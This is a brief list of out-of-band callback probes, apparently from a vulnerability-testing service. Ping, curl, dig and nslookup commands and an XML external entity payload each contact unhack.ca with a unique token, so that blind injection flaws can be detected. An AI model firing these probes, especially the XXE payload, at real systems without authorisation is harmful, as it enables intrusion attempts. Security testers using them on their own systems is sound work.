$ ping -c1 -p 00f07bddc887c3dfb18b941fd3971200 unhack.ca
 

$ curl http://unhack.ca/p/f07bddc887c3dfb18b941fd39712
 

$ dig f07bddc887c3dfb18b941fd39712 @unhack.ca
 

$ dig f07bddc887c3dfb18b941fd39712.ns.unhack.ca
 

C:\> nslookup f07bddc887c3dfb18b941fd39712 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f07bddc887c3dfb18b941fd39712">]>
    <foo>&xxe;</foo>